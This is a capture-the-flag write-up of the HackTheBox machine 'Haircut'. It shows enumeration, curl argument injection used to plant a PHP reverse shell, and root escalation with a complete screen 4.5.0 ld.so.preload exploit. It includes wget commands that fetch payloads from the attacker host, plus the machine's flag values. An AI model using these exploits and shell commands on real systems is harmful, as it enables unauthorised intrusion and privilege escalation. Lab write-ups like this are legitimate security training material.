HackTheBox Haircut
Writeup for HackTheBox Haircut
Machine Synopsis
Haircut is a fairly simple machine, however it does touch on several useful attack vectors. Most notably, this machine demonstrates the risk of user-specified CURL arguments, which still impacts many active services today. (Source)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
$ nmap -sC -sV -A 10.10.10.24
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
| 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open http nginx 1.10.0 (Ubuntu)
|_http-title: HTB Hairdresser
|_http-server-header: nginx/1.10.0 (Ubuntu)
Here is the webpage.
There was nothing much to find on the website. Let’s run a gobuster
scan to find some hidden directories.
1
2
3
4
$ gobuster dir -u http://10.10.10.24 -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
...
/uploads (Status: 301) [Size: 194] [--> http://10.10.10.24/uploads/]
...
Let’s add some extensions to the gobuster
scan.
1
2
3
4
5
6
7
$ gobuster dir -u http://10.10.10.24 -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html
...
/index.html (Status: 200) [Size: 144]
/uploads (Status: 301) [Size: 194] [--> http://10.10.10.24/uploads/]
/test.html (Status: 200) [Size: 223]
/hair.html (Status: 200) [Size: 141]
/exposed.php (Status: 200) [Size: 446] ...
/uploads
returned us 403 Forbidden
but /exposed.php
returned something interesting!
Exploitation
On first glance, this looks like a possible command injection vulnerability.
It looks like the script is trying to curl
something from the user specified location. Let’s try hosting our own webserver to host a PHP reverse shell.
1
2
3
4
5
6
$ ls
revshell.php
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.24 - - [26/Apr/2022 11:00:27] "GET /revshell.php HTTP/1.1" 200 -
Then we can grab the file by inputting http://10.10.14.12/revshell.php
.
It seems like it didn’t work. However, we know that there’s an /upload
folders, so it might be possible if we save the file in that location instead using the -o
flag for curl.
1
http://10.10.14.12/revshell.php -o /var/www/html/uploads/revshell.php
Now, we can start a netcat listener and execute the revshell.php
using curl http://10.10.10.24/uploads/revshell.php
on our local machine.
1
2
3
4
5
6
7
8
9
10
$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.24] 46038
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
05:08:11 up 31 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Privilege Escalation
Now that we have a user shell, let’s try to find find files with the SUID bit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ find / -perm -4000 -type f 2>/dev/null
/bin/ntfs-3g
/bin/ping6
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/umount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/passwd
/usr/bin/screen-4.5.0
...
There was a weirdly specific file called screen-4.5.9
which is vulnerable to this script on ExploitDB.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
It seems like the exploit code is trying to do 3 different things. We will have to split this script into 3 parts and compile it before hosting it on a local webserver.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ cat libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
$ gcc -fPIC -shared -ldl -o libhax.so libhax.c
$ ls
libhax.c libhax.so revshell.php
$ cat rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
$ gcc -o rootshell rootshell.c
$ ls
libhax.c libhax.so revshell.php rootshell rootshell.c
$ cat exploit.sh
#!/bin/bash
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
screen -ls # screen itself is setuid, so...
/tmp/rootshell
$ ls
exploit.sh libhax.c libhax.so revshell.php rootshell rootshell.c
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Now, we can use the shell to grab the files over and execute the script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ cd /tmp
$ wget http://10.10.14.12/libhax.so
$ wget http://10.10.14.12/rootshell
$ wget http://10.10.14.12/exploit.sh
$ chmod +x exploit.sh
$ ./exploit.sh
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
whoami
root
cat /home/maria/user.txt
9a42c4b5a80e862e7f007cc468c035ce
cat /root/root.txt
c9818e45d1aa8e774c0286dba6ea71ea